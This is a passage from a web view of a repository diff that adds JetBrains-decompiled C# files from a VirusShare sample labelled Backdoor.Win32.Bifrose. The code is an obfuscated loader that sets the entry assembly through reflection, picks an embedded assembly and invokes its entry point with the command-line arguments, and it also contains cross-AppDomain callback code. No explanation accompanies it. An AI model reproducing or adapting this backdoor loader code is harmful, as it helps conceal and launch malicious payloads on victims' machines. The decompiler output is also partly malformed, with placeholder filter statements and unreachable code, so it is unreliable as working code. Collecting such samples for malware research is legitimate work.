typeof (AppDomainManager).GetField("m_entryAssembly", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) appDomainManager, (object) entryAssembly);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num2 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num2 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
goto label_18;
|
||||
if (num2 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num2);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
\u0081ê.\u0081\u0099 = entryAssembly;
|
||||
label_18:
|
||||
Assembly assembly = (Assembly) null;
|
||||
switch (this.Þ & 805306368)
|
||||
{
|
||||
case 536870912:
|
||||
assembly = this.\u0089();
|
||||
break;
|
||||
case 805306368:
|
||||
assembly = this.\u00F7();
|
||||
break;
|
||||
}
|
||||
if ((object) assembly == null)
|
||||
return;
|
||||
MethodInfo entryPoint = assembly.EntryPoint;
|
||||
if ((object) entryPoint == null)
|
||||
return;
|
||||
object[] parameters = new object[0];
|
||||
if (entryPoint.GetParameters().Length != 0)
|
||||
{
|
||||
string[] commandLineArgs = Environment.GetCommandLineArgs();
|
||||
string[] destinationArray = new string[commandLineArgs.Length - 1];
|
||||
int length = destinationArray.Length;
|
||||
if (length != 0)
|
||||
Array.Copy((Array) commandLineArgs, 1, (Array) destinationArray, 0, length);
|
||||
parameters = new object[1]
|
||||
{
|
||||
(object) destinationArray
|
||||
};
|
||||
}
|
||||
object obj = entryPoint.Invoke((object) null, parameters);
|
||||
if (obj == null)
|
||||
return;
|
||||
try
|
||||
{
|
||||
Marshal.WriteInt32(this.á, Convert.ToInt32(obj));
|
||||
}
|
||||
catch (Exception ex3) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num3 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex4) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num3 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num3 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
return;
|
||||
if (num3 == 0U)
|
||||
return;
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num3);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Assembly ç(object _param0, ResolveEventArgs _param1) => \u0082\u00BB.\u0081õ(_param1.Name);
|
||||
}
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.Þ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
[Serializable]
|
||||
internal class \u0081Þ
|
||||
{
|
||||
private IntPtr þ;
|
||||
private int \u0092;
|
||||
[NonSerialized]
|
||||
private AppDomain ú;
|
||||
|
||||
public \u0081Þ(AppDomain domain, int domainId)
|
||||
{
|
||||
this.\u0092 = domainId;
|
||||
this.ú = domain;
|
||||
this.þ = IntPtr.Zero;
|
||||
}
|
||||
|
||||
public void \u0081ý()
|
||||
{
|
||||
if (this.ú == null)
|
||||
return;
|
||||
try
|
||||
{
|
||||
for (int index = 0; index < 10; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
string friendlyName = this.ú.FriendlyName;
|
||||
Thread.Sleep(50);
|
||||
}
|
||||
catch (AppDomainUnloadedException ex)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.\u0095(this.\u0092);
|
||||
}
|
||||
}
|
||||
|
||||
public static AppDomain \u0081\u008D()
|
||||
{
|
||||
MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic);
|
||||
return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain;
|
||||
}
|
||||
|
||||
public void \u009C()
|
||||
{
|
||||
Marshal.GetObjectForIUnknown(this.þ);
|
||||
Marshal.Release(this.þ);
|
||||
this.þ = IntPtr.Zero;
|
||||
new Thread(new ThreadStart(this.\u0081ý)).Start();
|
||||
}
|
||||
|
||||
public void \u0081\u0084(object _param1, EventArgs _param2)
|
||||
{
|
||||
AppDomain appDomain = \u0081Þ.\u0081\u008D();
|
||||
if (appDomain == null)
|
||||
return;
|
||||
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C);
|
||||
this.þ = Marshal.GetIUnknownForObject((object) this.ú);
|
||||
this.ú = (AppDomain) null;
|
||||
appDomain.DoCallBack(callBackDelegate);
|
||||
}
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.ê
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
|
||||
|
||||
using System.Reflection;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
internal class \u0081ê
|
||||
{
|
||||
internal static Assembly \u0081\u0099 = (Assembly) null;
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.î
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 32)]
|
||||
internal struct \u0081î
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ä
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 28)]
|
||||
internal struct Ä
|
||||
{
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.$
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 216)]
|
||||
internal struct \u0081\u0024
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 16)]
|
||||
internal struct \u0081ö
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user